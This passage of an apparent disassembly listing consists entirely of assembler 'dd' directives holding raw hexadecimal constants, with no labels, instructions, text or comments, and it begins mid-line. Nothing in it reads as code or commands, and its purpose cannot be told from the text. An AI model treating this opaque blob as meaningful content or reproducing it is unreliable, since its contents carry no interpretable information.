3831FC2h, 0A6792C0h, 0E804DDC7h, 3243F8C4h, 437E4A0h dd 7F5DEFD4h, 0F178855Eh, 0DB0840A7h, 46F0705Ch, 4015CE0Eh dd 1CBCF517h, 45008490h, 629A9FFAh, 75E6037Ah, 0CDD329B7h dd 7F880CCh, 0D0009CFh, 695A2CB3h, 178045h, 15DA6DF4h dd 5E51E532h, 33DA401h, 0C4CDB4D7h, 0B326F4h, 5711C7Fh dd 889AF523h, 45623Eh, 0BE7F2A9h, 0B03F9Eh, 84110768h dd 425337BAh, 0B709AC98h, 809D729Fh, 5A1BE088h, 4C2501D4h dd 3D90CD37h, 0A8EFF09Eh, 12F8C5Ch, 0FEE22289h, 0C8713709h dd 0BE24702Ch, 0E9204F68h, 299142EFh, 774A700h, 5DAAB76Bh dd 0BD4438ADh, 23B8AB02h, 9C44E6A2h, 1F009190h, 5F1E77BFh dd 2C279B2Ah, 4D47DFh, 0A936AD22h, 1CB8C48Ah, 80D3D439h dd 0A8C9A4B0h, 0F3CABBh, 245926F8h, 7E7FD916h, 0E840BE00h dd 540A6C6Dh, 583A0A8Dh, 5BFC7647h, 428604F0h, 65CDE71Dh dd 98C93984h, 48FCCB0h, 0DF953FEBh, 0CE0C9081h, 0F01A07Ah dd 0AFCF77Dh, 6435A66Ch, 2EF850DEh, 744770h, 0C08D7EC4h dd 0FB00AF02h, 1D8817A6h, 1F6FEABCh, 1D3CDh, 1A4E9486h dd 9C00E097h, 68C332F9h, 1E9BF0EEh, 0C0C523BEh, 0A007C7EDh dd 4AE43CA4h, 80A9BD3Fh, 0F475E177h, 81EE4Ch, 73AD49C2h dd 25177804h, 34095026h, 71C0E81Eh, 6EC2A4D8h, 4BD62E9Dh dd 0B9F000DFh, 7BB5388Dh, 0EAA6F900h, 485C33AAh, 0FC3D00E6h dd 0E931F112h, 0FE3CE1E3h, 946A18D5h, 1EE78AE9h, 80D22192h dd 953EEBCEh, 504BADE5h, 40DAA84Eh, 0AF0D1820h, 600760BCh dd 76FB62F8h, 34A13803h, 0C8E24373h, 280B8F2Eh, 11F4362Bh dd 0EAB0D6h, 0D276E875h, 0FC0DDADFh, 74B34C10h, 9F90E230h dd 170C77EDh, 787FB21Bh, 9680A083h, 19CB886h, 7182C8EBh dd 0D8C3EDE6h, 9F00C60Dh, 0F8766922h, 7DE5936Dh, 28C90001h dd 0C52C972Bh, 7C00340Dh, 95C8FA27h, 5C48ED7h, 0B657F12h dd 4325802Eh, 0DA00D5FCh, 60E0C9EBh, 0B1E8FDh, 176C4421h dd 3F898130h, 0CEF6F001h, 0A80ADD67h, 0E8563CF8h, 1CC10010h dd 0C75A24Eh, 3601DB5Eh, 0E431E5C8h, 0E541F95Ch, 6ACC50B1h dd 6E7A001Fh, 83B2C837h, 280BB80Ah, 68C0C5FBh, 90C38E58h dd 0A5E9005Ch, 0F3CD11AFh, 7E490E6Dh, 82B50038h, 23DB0121h dd 3950B65h, 0AC80671Bh, 1F9B8F36h, 10A99F04h, 0CCD0D37Eh dd 0F23BAh, 0EEFC21D5h, 0EDAF1F2Ah, 0A9030EDCh, 0E4942981h dd 8916A0D0h, 964B00B4h, 0A9450ABBh, 0E04DF576h, 0EDE91A04h dd 52084029h, 0AAA93A3Ah, 870A3D3Ah, 90248A29h, 0B626008Fh dd 0B5DE9E0Ah, 5E990183h, 24CAFB71h, 0ADDB70F3h, 0AC144Ch dd 5152D210h, 0EB2C6EEh, 0B41C8726h, 0D900F81Ch, 0AFD8AB33h dd 2100B945h, 0C4822F12h, 991E60h, 9002628Ah, 0FAE0F416h dd 9529602h, 0D0B27261h, 8E44A03Ch, 0CD9F0093h, 0FE0CE867h dd 4C0CB8DDh, 9074566Eh, 0AE5B0E96h, 6C4019B4h, 4766ED34h dd 32763300h, 878EF56Fh, 5D1B0078h, 0BDCF015Fh, 37012CF9h dd 2461AAAEh, 6C06858h, 12E0B0A7h, 0B5D8E2h, 0C427E023h dd 0AC03ED46h, 3C73EF29h, 18A9D0A6h, 850A1E89h, 7D634004h dd 0A0F91FD8h, 2E554D09h, 0D3688073h, 0F67253h, 7AF0711Ah dd 32C5C65Bh, 1B90EC18h, 94D056h, 25151CD5h, 0AD9CB991h dd 8224E4E1h, 1680AB54h, 0EE574300h, 964E2F20h, 898E327h dd 3B7321F0h, 478F5700h, 28C85D6Fh, 1A2B1174h, 4FBD09C2h dd 64502BDEh, 6B4400B4h, 0F0880932h, 8200E98Fh, 0A45D89ACh dd 71A9422Eh, 0E2CA1925h, 182390B8h, 0F1570844h, 0EEC47720h dd 203C7446h, 7109E4E4h, 20C87E6Fh, 69D99540h, 5023004Eh dd 970260E8h, 3E069255h, 0D3D51DA9h, 42AE0370h, 0E95916A3h dd 28F61013h, 0C02F700Fh, 0CAF5AA05h, 3D351B5Eh, 61A820D1h dd 18D8BDEDh, 137FD469h, 877C86A1h, 0F24180E0h, 0B8B00CEAh dd 0ABE25300h, 2707D588h, 0FA780030h, 0DE6C8064h, 56EEB912h dd 363D8200h, 0C9FF0709h, 0C9BECF2h, 320D6178h, 51002430h dd 0BADEB50Fh, 1D3125ADh, 1827F5B0h, 87E2149h, 9BDB500h dd 0BACB5436h, 606EFCA2h, 0EBA7583Eh, 0AFFCF129h, 59FEB32Eh dd 0E772F0Eh, 0A1F0619Ah, 0F16F13ECh, 0ACD4FCC2h, 0FA87A400h dd 745AF471h, 84700012h, 6D41E8A1h, 86F0EF08h, 0B226DF1Ch dd 8C6C57C0h, 0C6247E81h, 20E8A308h, 0B700BE7Eh, 6863555Dh dd 1899EC83h, 40FFDAD9h, 24002B0Dh, 0FC0C8FF8h, 626BA1h dd 764169CFh, 2DEDB222h, 0E3CC1B39h, 39EAE438h, 41E0D878h dd 0AC7C0F25h, 0B71F2D00h, 170BBF82h, 9BD7123Eh, 0CDD300E7h dd 0A7848F5Dh, 0B208B101h, 867EF0E9h, 22294180h, 0ED1FD57Fh dd 1276E872h, 89020C0h, 0C084DF8Ah, 0A59A2629h, 0AB4C8E40h dd 930719F0h, 21800208h, 66A56243h, 0AB1B81E5h, 88B02953h dd 0C09AC55Ah, 4DE99E80h, 680FECAh, 59040F14h, 2346F485h dd 0EB903013h, 0FBBF70Fh, 2C9F0352h, 0FAF19084h, 277500FCh dd 0C0E4A62Fh, 3707CD2Eh, 4982BDB2h, 0EFBEB090h, 5B190EA4h dd 1CE0D6D0h, 0CD57932Ch, 7F73DB00h, 363F8725h, 0A0410E94h dd 1F80145Ah, 5CBC12Ch, 70562A00h, 0C07D21ABh, 1EEC98h dd 0CDC14DAh, 32048F94h, 44260F06h, 1D40B5A2h, 543842h dd 0B8FB4107h, 1800B0D4h, 2968A2F2h, 156D783h, 0DF1BE719h dd 8093E57Fh, 0B15A3678h, 59F727h, 0B2D70913h, 8094DF1Eh dd 8FB38h, 88F33AB0h, 1EC749A1h, 8178DC8Ch, 26E00155h dd 0F4AEFCF0h, 7B8FB903h, 1204121Fh, 7DCF898h, 0C3B2D1A1h dd 18001937h, 7CC08F65h dd 0A6A06AAh, 8EF712ADh, 0A4F68080h, 97E5F273h, 1ADE3300h dd 3A84BCB9h, 91A11840h, 0E6492907h, 15B4C91Ch, 101AF9Ch dd 9F8BA1A2h, 130E2181h, 0B83CCFFEh, 0DE541F10h, 171CE6C1h dd 0D63098BDh, 8A7461h, 9B3AB2A7h, 7DBF1992h, 0D85B1430h dd 58DE38h, 2C9D160Ah, 3F2FADE0h, 3E578E01h, 550875F4h dd 0E040D1E4h, 2D0300D7h, 5EB3AA7Ah, 0A0B83FCFh, 0DC499700h dd 84228B25h, 0FC1300EEh, 59F9868Ch, 9D0F8A3Bh, 0AA1775h dd 0F3401F82h, 2C5D0B4Ah, 61806C81h, 4E592751h, 1830E330h dd 6D4B7Ah, 0E68ECC3Ch, 2D205B93h, 0DCB08D01h, 0AF21243Ah dd 89052880h, 0AE176DD8h, 0CA0083F8h, 0CDE4CFCBh, 7FE21C11h dd 93473ADBh, 0D7A57480h, 0D61F833Eh, 34CD1800h, 87677B64h dd 26A0C076h, 62F5D08Ah, 0D6DBB42Fh, 94160549h, 60FFC78Bh dd 0EFE92D46h, 3EA35D00h, 0FBCB66FDh, 3D4E001Bh, 55DE9030h dd 35052D9Dh, 8D678C33h, 594D9441h, 0D9837FF9h, 0D366D040h dd 217F968Bh, 0C4804100h, 2CDA7681h, 0E23D0074h, 3C337CF4h dd 2E0E6C69h, 0E4D6749h, 0B5A1805Ch, 77E3FB2h, 0E307389Bh dd 8DE03E14h, 550C933h, 0AC59E503h, 0FF916F63h, 0DBEB014Bh dd 0FD0D7B3h, 2A20C08Ch, 0F91C6F4Ch, 0DEAA1900h, 6C9BD829h dd 30A1F63h, 0BBE68734h, 834A40E9h, 3E7CBC60h, 81A6ED3Fh dd 429772E5h, 417E804h, 4C5906C7h, 0D3293A80h, 0C2B0123Fh dd 55514318h, 21B6DC30h, 9822C9F9h, 0AA1406F4h, 826DBB8h dd 20510C32h, 99E36399h, 19E00395h, 9D1E183Bh, 73C36116h dd 2C077C70h, 0F8F0B95Ah, 78E14210h, 5DD039Dh, 0A506872h dd 0C32793Ch, 0D8394E70h, 8AE00190h, 0C94FC6F6h, 8218F86Ch dd 363CF707h, 43B353B7h, 0F042A8B9h, 0C87A00ECh, 79678FC1h dd 901CF578h, 34000F06h, 0FAD58C77h, 0B5A0005Fh, 0DA3AA21Dh dd 9600087Dh, 9180571Ah, 0C512E8h, 9469EC28h, 5F35AF51h dd 0F40096E2h, 63F24771h, 488C90h, 0EEC4D84Dh, 0F58D4C7Ch dd 0D9DDFC03h, 0C04FD3C8h, 781A13A5h, 9CDF6D7h, 1FF84188h dd 0C42EC500h, 92029574h, 13A42C30h, 2A5D61DAh, 1DB72080h dd 1CE874CBh, 8606A28h, 8B2B1601h, 0AAC8BFC0h, 7BE736DCh dd 213A60A8h, 878FD3EBh, 50044FCh, 0C91C465Dh, 3023B7F6h dd 0CBF0BBF3h, 6000DD14h, 28DA9361h, 0CCEA3BC8h, 9A692608h dd 0A1607600h, 0EBD847F1h, 0D40D06AEh, 50A67901h, 0D1B05D01h dd 44A511E8h, 3C5FDC9h, 35651880h, 0B9B189CBh, 702193Fh dd 5A7484D8h, 0B452A250h, 7598000Fh, 0EE5F9BAh, 0B1003AC1h dd 0C927A351h, 0F0FC6E2h, 8310CED4h, 0F4A7B461h, 0BC3FC22h dd 4B1E8E00h, 286B092h, 81231234h, 0E8BF0068h, 38A5A4A8h dd 6D88D307h, 0D743EC48h, 63200085h, 0DD4FA898h, 0DB4CCFC8h dd 211860B5h, 6083DF02h, 295F4822h, 931F4A79h, 4FC0041Ch dd 0A2698AEDh, 57AF1696h, 11F607C1h, 6A5F9043h, 813021D5h dd 699B4836h, 0BD451B59h, 15E8105Eh, 4010AE7h, 8E25A92Bh dd 28D1A8F3h, 0FD487980h, 0E5E9E2E7h, 7500F67Ah, 0CA94D989h dd 192113A9h, 99923320h, 0E79220C4h, 7F277013h, 0D7719502h dd 84849D33h, 2067B280h, 5F5B8h, 0DEB53CBBh, 0E2AE33Bh dd 154228A7h, 0E6AC9883h, 54F10020h, 918C32EBh, 0C71F90C2h dd 7F0026CBh, 0F6AC44Dh, 0C0AC60DCh, 0B8349656h, 0E0099400h dd 0B56B6062h, 29BE00B6h, 0C8D6E8Eh, 2300F4C4h, 9275B815h dd 3FF2F838h, 440093C9h, 7F41ECA9h, 520088ADh, 0F65E6DD1h dd 9F3D72h, 40FA118h, 64FF36B1h, 7029FB0Eh, 88A660E6h dd 0FB7445Eh, 520BD92Dh, 9D7035C9h, 6B00F3F6h, 650A910Ch dd 3AA084F7h, 0DC803021h, 0D99A394Bh, 4100433Eh, 9FC5FE58h dd 32950AEh, 0D3BCE945h, 0C0BFDF33h, 95B19439h, 9C00FCB8h dd 59A7D409h, 34C7268h, 0B2F7E7C1h, 9AA0F854h, 4F003D3Bh dd 0EC763721h, 19231E8Fh, 9A0AEDDAh, 34208097h, 4850B62Dh dd 37531891h, 0FA4F19C8h, 94F85FE0h, 9008E6FAh, 33C1D51h dd 9B074770h, 310EACE0h, 0E3688428h, 5D02E40Fh, 94A0C022h dd 0CE3970h, 0E7F45CF8h, 124C3D5Fh, 7F538906h, 0EC684F5Bh dd 79210009h, 496F6B1Ah, 7D0FA5EDh, 80B92D78h, 0C222ADE9h dd 53E887h, 0F907576Ah, 508D0A1Ah, 8D4CE1Dh, 0DB0C9100h dd 0F82A553h, 81BBC4FFh, 0A4696323h, 0EE223000h, 3AA36B7Ah dd 879860h, 63A051EFh, 1AC26F5h, 2C08E500h, 0BA61FD40h dd 21140173h, 7B671C38h, 4F3AD443h, 172845EAh, 0B53EE791h dd 2E4D80D9h, 20739455h, 207A601Ch, 988BA224h, 0D5B76703h dd 0E3CCEBECh, 0B113E37Eh, 6AE4C004h, 84670006h, 0B7D240FDh dd 311CDFA8h, 6C001097h, 96164F2h, 44B4006Ah, 17466B9Ch dd 0F00FB7FBh, 27AD2152h, 27D350F4h, 3407C55h, 0A4104F73h dd 0BFD8F9C8h, 3B0013F2h, 0D53CFD47h, 6ED037h, 0E7D6E108h dd 0EF44683h, 0FE9DB700h, 0F895CDC1h, 4CAC0370h, 0B557D113h dd 698F52D8h, 0B8CEE000h, 885816DDh, 0B73C5053h, 0A9B502E9h dd 0C724DE2Ch, 9CA75FE0h, 0CCD09300h, 92CE78F3h, 127902Eh dd 0E98B18D3h, 0E4F6D9DCh, 0C8004F8Eh, 3AB032CEh, 0C067AB53h dd 18338350h, 696009BCh, 8C56D510h, 0EE7AC08Ah, 0EF9E34A6h dd 21C00FE8h, 0B8C4656Eh, 783F18C7h, 0F37C589Ah, 75BA7F00h dd 8B0102B6h, 6B8D0F48h, 5FAC905Dh, 0D34CC7B9h, 616D0707h dd 5143FFF0h, 90DEA1F1h, 0AD712080h, 9AD41867h, 0F5A48503h dd 635A0Ah, 491FB148h, 568D440Bh, 0EE7D9D00h, 0DE6D0861h dd 6BE29Fh, 275BB0DBh, 16D93A07h, 0CFC91100h, 0A795F605h dd 0C61000FEh, 9CB32A8Ah, 0D2900708h, 0F339E600h, 0CCED94D7h dd 200C00D5h, 0E2CA3574h, 807F42Ch, 0C27390BAh, 0EF464FF1h dd 6A21E4h, 30C87668h, 0BC551CE6h, 0D5CA0600h, 4E5BF10Fh dd 0F6E4EE2h, 4C402A35h, 83CAE5BDh, 772D1100h, 0BB79DFB0h dd 3E7100D7h, 0F1DA36CBh, 0DB00AD53h, 7AF05E49h, 0ACC102h dd 2ACE16F7h, 810891A4h, 9B885C1Fh, 0DDCD4D80h, 0F88D1426h dd 0A42E0039h, 33FB640h, 0D500F649h, 269A6429h, 0C324183Dh dd 0BD28DF28h, 0E0931DF8h, 2354DB1Fh, 139A7406h, 6C173820h dd 18C01098h, 1F03482Ah, 0E0D1C773h, 83DE98A8h, 7422F04Dh dd 1B593097h, 0FEEF6358h, 0A8A9F600h, 650403DCh, 490700E8h dd 4F4A2E86h, 7D185B01h, 53301064h, 22C00061h, 0F9E69CAh dd 21606B05h, 8BB6A780h, 72EA0386h, 0C3550DEBh, 0C0890EE9h dd 0BA009ED2h, 649BED96h, 3B79CA0h, 0BD2AA307h, 119895D1h dd 7D1849CAh, 8DC07C6Dh, 92B600E4h, 977612B3h, 150EBDB7h dd 0C149E179h, 0EAB978F9h, 54F393D0h, 3A800Eh, 0CF051092h dd 4B1CA8AFh, 449AAA00h, 9694B371h, 0FFB20021h, 0F4D50A8Eh dd 2515153Ah, 7C4D7A6h, 0E137CB7h, 0A0C88F80h, 4C1C0E96h dd 0A1A2C5B1h, 74011775h, 7181D89Ch, 4E7AB804h, 0E6AC41DCh dd 1F18F8B1h, 6C6860Ch, 62C981h, 0FA5EE9C5h, 74E14472h dd 150B2900h, 8BC8BD1Fh, 13BE072Ch, 10EE2704h, 0A9A33287h dd 62411B00h, 0A109C7AAh, 4E7D00BAh, 5E33E954h, 0DBB8BC05h dd 1D07B0F8h, 0FBAE45D0h, 0F5FF9560h, 117FEAh, 0FDDCC1E8h dd 7C5BF467h, 12B95D00h, 0E1DABB8Ah, 609A001Ah, 41821905h dd 4B000CCAh, 0EA7B6526h, 111CBBh, 0E1A6DC92h, 0FAA52A01h dd 31541A34h, 45F6AEC0h dd 650B3AAAh, 478BE183h, 0A6906166h, 8E0F1096h, 0A02EFC19h dd 29D1C96Ch, 1E8CE494h, 0C09A98EAh, 6F732DBh, 2BEAADBBh dd 7809141Dh, 999F2D00h, 195C7B9h, 44E1DC9Ah, 60FB9DAAh dd 0C87331D1h, 39A7CC00h, 52F1F664h, 0D4DB0C93h, 20E0BD23h dd 832CF800h, 5A116E58h, 1E839850h, 0FA4CF15Eh, 0A44A0800h dd 561AEF55h, 5BD9EE1Ch, 0D8A7E080h, 855491h, 0BCCFD604h dd 0FE47635Ch, 0AA4A7C07h, 0E140AB1Bh, 0F6EFF3Ah, 810CE459h dd 0F7CBCA0h, 2300E9C3h, 0F203F686h, 7755AEE0h, 63B93CFAh dd 0CFAD050Ch, 0EC0DE118h, 5846D824h, 60AE59E0h, 20FA18F1h dd 0FC3B9EC2h, 39D58024h, 612AC525h, 41CC030Bh, 0AF7865F6h dd 0AD553800h, 0BCDFB53Bh, 15E9B890h, 2C2B051Ah, 5275D900h dd 0B0C3A19h, 2009EC01h, 88A4FABCh, 5F334C40h, 771A908Bh dd 69791EDFh, 0F3E2CDC4h, 836EFD90h, 0D82074F1h, 93190029h dd 2D7B19A5h, 5A0A4A56h, 88260AE4h, 6B000396h, 21BC6EDBh dd 2941C1B7h, 0E8548C2Dh, 6400134Eh, 7965A733h, 62D83Fh dd 919004E0h, 0E802E39Eh, 1E273C00h, 18A855E9h, 23D5006Eh dd 0CEA10EDh, 2C798CE0h, 0CC244D50h, 66C84641h, 7B6A01A8h dd 8FB9EB97h, 59308C9Bh, 1C22B9DAh, 80F0BB71h, 0B1C6E25h dd 0BE888B86h, 63DA03FCh, 61DCD55Ah, 37FC5CCh, 6965E71Dh dd 55D8028Bh, 34982AC8h, 29A0FF50h, 79040B8h, 0BC660628h dd 7A2BE907h, 0C337D337h, 21AD0B80h, 1090B6h, 0BE025766h dd 0E5A85346h, 92A00D06h, 0FE181256h, 379B004h, 0E3A490DCh dd 182663BCh, 0EB01BF44h, 0F4CE48E0h, 205F7880h, 0C20F2992h dd 0EEAAAB40h, 0B89454EDh, 0BBE80478h, 0C0885ACDh, 8F469FD2h dd 0D9C97E00h, 0CB92FC8Bh, 6CB90067h, 4D48D6F9h, 173A87A8h dd 9476828Dh, 484F3C24h, 0C82324h, 5578DE72h, 76589D57h dd 0AA796490h, 5F716B60h, 90C5646Fh, 6D12424h, 0D5A88074h dd 993F2CAAh, 75D00500h, 0E7443C20h, 0CA7A0040h, 5AE129FBh dd 100B38Eh, 6A3862B4h, 0F2FA3Bh, 6742F084h, 7A5B6B7Eh dd 0CE74FE17h, 0B422BF00h, 486DBE95h, 0F0103E2h, 81A43F2Eh dd 1870ECD5h, 8073633Dh, 1DEDCB72h, 0CC787Ah, 7793D3E5h dd 8487997Eh, 2B275E00h, 0D501509Dh, 5D3301D8h, 0E4709A9Ch dd 7A05EC42h, 0FF3B4500h, 0E5A49EDFh, 791100D7h, 0BEEA1320h dd 0E83C8D7Bh, 197703EEh, 0C7099A2Ch, 0AF96D3C0h, 2A3D00CDh dd 0CA599968h, 0DE003372h, 0F33BD877h, 44324Bh, 2F465EE3h dd 0E28FF058h, 0CD1FE57Dh, 0EA801D08h, 3E1A7404h, 0ED650041h dd 1F3A3028h, 0C0021464h, 9287F8FBh, 5F88806Eh, 0C00B45C9h dd 0A32BCDE8h, 4018DFD8h, 7851F280h, 0B359039Ch, 0A25BD6BAh dd 9D87D5D0h, 0AB2A1300h, 48DC21E9h, 60FA737Ah, 393230D2h dd 70A5246h, 0B6EC0C93h, 0D9818800h, 89ABC9h, 8A19ECDh dd 0ECF96028h, 0C600E974h, 75BF57C7h, 0E8C2E88Eh, 21D345h dd 384A3790h, 883B99BCh, 8D8B83C7h, 0E8616706h, 606E2A36h dd 57D286F9h, 0C0001F0Ch, 92EB7DD1h, 33BB1E35h, 0E208630Bh dd 89A02100h, 860A67BCh, 8A5500C5h, 918E1EEh, 4800A99Eh dd 0E95B8C17h, 0CF9A0h, 307C96B6h, 3E754CFh, 874DB702h dd 0F601112h, 2820CCAEh, 0BF9122EAh, 0BAA0C000h, 51CDAB62h dd 0D3741EE7h, 30601E10h, 0B592FD30h, 0A913E206h, 0F8E935C0h dd 588B645Dh, 223F43DAh, 5855D8CEh, 51A01915h, 80230848h dd 0B5B0D121h, 0BC1E1Dh, 9E54F84Dh, 40CEABFDh, 5BB48D50h dd 82005F43h, 7FB92137h, 7084A31Dh, 9EF68084h, 56006EFEh dd 4F7BD216h, 30139799h, 67201F3Eh, 0D8003470h, 0DDFE5938h dd 0B8FDBB6h, 1102B892h, 0EA7E3E80h, 0E5006688h, 0DE63A316h dd 25D1960h, 53C83FBh, 0D5E18448h, 0C060D349h, 0F0AE7A58h dd 506002Ch, 0E838EE58h, 0FF009890h, 0A2EA7C78h, 8BA80Bh dd 1A24C5B2h, 0B3BF35B1h, 0F35A711Fh, 0D0D89500h, 0FCA1A7h dd 7DA8D404h, 836C11B8h, 560F2E0Eh, 9712C2C4h, 4BCCBh dd 3283B41Dh, 0B665962h, 77F69E07h, 2AD238AFh, 54B56047h dd 0A9051EE2h, 0F56D007Ch, 3E40C7F3h, 88B95000h, 68655A26h dd 906901A6h, 0BF589907h, 0E4F2D479h, 2FECFC71h, 22002F98h dd 70C2AFBCh, 0F69855h, 0C723C30Ch, 0EB40AB3h, 0D600AE75h dd 0E8A85739h, 1A5ECD8h, 703752CFh, 0F0751003h, 0E4F52B24h dd 8E1CEF4Fh, 4B1F8AB8h, 15E21F80h, 787BC94h, 0C75CEA8Fh dd 0E94450AAh, 9600FFADh, 944D0D3Fh, 9E11B1h, 0B2BD4B39h dd 0EBB35D9Dh, 0D9B50F00h, 20FBF091h, 34B60712h, 31C64235h dd 0F8A3A276h, 0A100F3D3h, 1192C4D6h, 80528Ah, 0E2394989h dd 0F69901DBh, 359EFE0Fh, 20AF607Dh, 0F7B350h, 0CDEBF836h dd 0C8F4CB90h, 98DFD402h, 80B2BA57h, 40045D88h, 0DAC4004Ch dd 0A070F4Eh, 0FB00B87Ah, 73A35462h, 0EE8B5EAFh, 0D4F6C1h dd 384EE06Eh, 0D54F5564h, 1A91CD00h, 0E16D7BAEh, 0E7A218ABh dd 7C5D7108h, 0D4349700h, 51BD5C03h, 0D1605C42h, 30351A07h dd 0AADE324Fh, 3FCE3083h, 0A76C3800h, 75994318h, 25A6053Ah dd 0C0DDA1B1h, 66E23E5Bh, 406A8031h, 1AD4496Ch, 0F77165h dd 394A11CFh, 0A66F10EEh, 9CCB3Dh, 6C41FD3Ah, 3C167E75h dd 8F9DEA85h, 0CC184095h, 39CEAC72h, 5E80DC01h, 1BAE3BC0h dd 9D9E7F0h, 7456F2F9h, 0D0DF7B87h, 0B096FD64h, 7922EB00h dd 0B157231Ch, 0FFBB1EDDh, 0E89E40Eh, 1BC0FEEDh, 95AF0FE1h dd 7228C300h, 6AB86D4Ah, 8EF86Fh, 773F85E9h, 2598FCA3h dd 678FC800h, 4576F860h, 0A24F1E10h, 47007CDDh, 94E332FAh dd 70006543h, 20A1C085h, 193F98h, 9362E259h, 88D17E02h dd 9B87C200h, 3EE13DDFh, 51B60331h, 0F177E362h, 30C8F9E3h dd 982E584Ah, 0ED006BB2h, 798EE0C6h, 37A60081h, 9650DF20h dd 3D0FB6B9h, 20743693h, 9F75F44Eh, 1C9907FFh, 208A9462h dd 97E83ED2h, 0FC89A600h, 0B1922E76h, 0AA9800A5h, 0EAACC728h dd 9703F1A9h, 91A88FBDh, 0BB6DF8E7h, 12621D2Eh, 51FC8045h dd 544C8CCCh, 3AC7448h, 0E0A67164h, 0B47C83Dh, 527FC8h dd 0CF4B2FCEh, 0A1C2EF86h, 54AD1900h, 0D7C99E71h, 98A40176h dd 9F25CABBh, 45EAD01Dh, 9A146500h, 0AF3FA0EFh, 7A8E0256h dd 974411B7h, 34953C80h, 0F97248E1h, 0DC3E6D0Ch, 0AAE682Eh dd 30BB669Eh, 74864010h, 0C801C30Eh, 3782D45h, 308770B1h dd 50652CC1h, 86ADD56Dh, 0BE070200h, 9D0F98F8h, 2209006Bh dd 0B37EC444h, 0CE3D4265h, 0C1DB80EBh, 0D02D7305h, 7C66030Eh dd 0CF51F244h, 0D7DA0298h, 2A198D00h, 2408E3C3h, 0AB2B00F6h dd 5A109B23h, 51006F34h, 0ACC07138h, 73A47563h, 2970188h dd 5B4BBF7Ah, 60442183h, 0D30F9340h, 0DD1ECB01h, 6C8DE43h dd 4CF9E8BBh, 0F35B0058h, 8C4F3DD2h, 930F0E77h, 455C95h dd 97565E8Dh, 18CE00BAh, 0E8926568h, 9C00A40Ch, 9FF43BCCh dd 6EA75Ah, 42A10F08h, 1A53523Ah, 3993E600h, 505AFBA5h dd 8843E192h, 60C3823Ch, 707D551h, 93ABA419h, 3EE71253h dd 90B20C40h, 2940F49h, 72DE6BCEh, 0E8880A3h, 267C250h dd 0A8E60440h, 0AF6016BAh, 35516825h, 0F032E8C4h, 460C1D03h dd 0D83BB9FAh, 97E9D7h, 9811609Bh, 908486EEh, 999CED03h dd 89F8EBA1h, 8BEC3E33h, 817FADh, 435D8717h, 0D095E48Ch dd 0DD0CE903h, 0C0D94E79h dd 765243Fh, 554CFCB5h, 0C02217A2h, 282E500Dh, 67906412h dd 63174D00h, 0FCBA7F48h, 1AF400ACh, 0C6B2436h, 0F00E7E1h dd 9D9C5C7Ah, 0CDE4BEh, 0EEA4C6Ch, 5BD9D323h, 0A5F4FB00h dd 86CB3F51h, 10A90359h, 0F958BF90h, 85A6FCF8h, 0A1AD2003h dd 0F0025FD9h, 450C86h, 0F6CE6CFBh, 6E46E26Dh, 1A0E65B8h dd 0F294B7h, 2F73B6DBh, 772EA05h, 0D9441DECh, 0B76A106Fh dd 4000CD7Dh, 1EA865B4h, 0B959092h, 0CAE37CD1h, 29601400h dd 0BA2C3924h, 0F80024EBh, 940486F2h, 7C906Eh, 19468128h dd 88CA7B43h, 107D5200h, 0AD4C908h, 58DA0484h, 81784FC2h dd 90A2C4h, 1F6FCDD9h, 802C176Dh, 1E5DCCF5h, 10C010BAh dd 3692C89Eh, 0D6791Bh, 0FE6734D3h, 6015D9E4h, 99752100h dd 9278D4D1h, 134F0064h, 0AE2E98D7h, 97006261h, 9BDEC4ACh dd 0E8B0771Ch, 98AF005h, 3F9375C8h, 91258306h, 0E197F321h dd 0F41B3344h, 0D1003512h, 5C39AF22h, 4537D5h, 0DFCF9F50h dd 1BAC55EDh, 74004C98h, 8C4E5BC2h, 0FD98AE7h, 0FDA85F69h dd 370C2052h, 0E2003B80h, 4572A919h, 6442AEh, 8F1EB0E7h dd 6F38F5B9h, 371A3500h, 0B3746124h, 98FB033Dh, 5D29A80Ah dd 8057A58Fh, 6BF3D4FFh, 0B40C4700h, 0D2C65197h, 7DEB26B6h dd 168B00F1h, 607086A3h, 26E9153Ch, 0B60003A4h, 186C5704h dd 3BE60577h, 0D1BF0F63h, 34734ECCh, 0A770DB64h, 8191A000h dd 0C0FD3C8Ah, 9D340062h, 0BF169703h, 4125236h, 9400C9F4h dd 6833715Eh, 0B49090h, 948F4174h, 0D1180B9Ah, 7DCEDB00h dd 0B8FFFABCh, 7183E0D2h, 5F1600DDh, 0D1CF5E0Eh, 67E61776h dd 0CAC780C0h, 63F364h, 0B2E907Dh, 0D351B1DBh, 0D1066A70h dd 92086218h, 4E7798h, 9419A811h, 0ECA220Ch, 0E81BD906h dd 9D0760Ah, 7AF8B8BCh, 0C2921484h, 80E0C30Dh, 6A2C66AEh dd 0B1007AD6h, 59C18E45h, 21AB0BD0h, 48804850h, 0C9F73BEh dd 84030490h, 0DE6A72D4h, 0C11CC0C2h, 9D3B12FFh, 55180FB9h dd 9397C8E5h, 40E85858h, 0AF49E76Dh, 6E8AC048h, 121EB868h dd 81464358h, 5C754A88h, 0DC019D34h, 42DBFC0h, 7C706B5Fh dd 53B41E3Fh, 600DC401h, 8810C084h, 98B1DDB6h, 0BDB97761h dd 0FAF1813Bh, 0FEB0DC8Eh, 0D703CDE4h, 0CB308C3Bh, 425090DDh dd 32AC00B6h, 90436B28h, 0B21D9CF8h, 0B782228Ch, 801FF0BBh dd 230898A3h, 0EA5A0051h, 28F65D21h, 0C1004809h, 80C24DD0h dd 90B050A4h, 7DE00F49h, 4781D907h, 22F26F54h, 0C55305B4h dd 0FA828803h, 40D492DFh, 0E28A9924h, 39E6009Eh, 0CCE57EAh dd 5A5418BDh, 0AE40E1CCh, 0A1550029h, 0C185FC8Eh, 4417B0ECh dd 4C073C6Ch, 0B7B10F66h, 6DD4534Dh, 0E94A1290h, 90DC515Dh dd 9C6C8800h, 52BF1BBBh, 0FC831207h, 850E2E7h, 1F76CD11h dd 4020DE9Ah, 1E9BE067h, 60249CD5h, 5000EC90h, 4D272EB3h dd 0C7690A6Dh, 3955A74h, 18CA6CCBh, 0B160FFF0h, 0E879C02Bh dd 0C9C64180h, 0BFB823Eh, 0A1290BBFh, 0B00068A9h, 0CC27887Bh dd 3CCD7200h, 0E435BD1h, 982200FDh, 16F3EA5h, 871E0B2Dh dd 0E200272Bh, 81FD8D3h, 0FEBA001Ch, 9C369772h, 0E11C8702h dd 9EC032C4h, 5108501Ah, 0D97D1DE7h, 0DEB381FBh, 0B8A2B096h dd 0B28380D0h, 543C76B5h, 0C8D75C7Bh, 0F9AF800h, 780BA290h dd 0AF022675h, 621A89EAh, 0CEA040BAh, 93591E05h, 4BBDBF34h 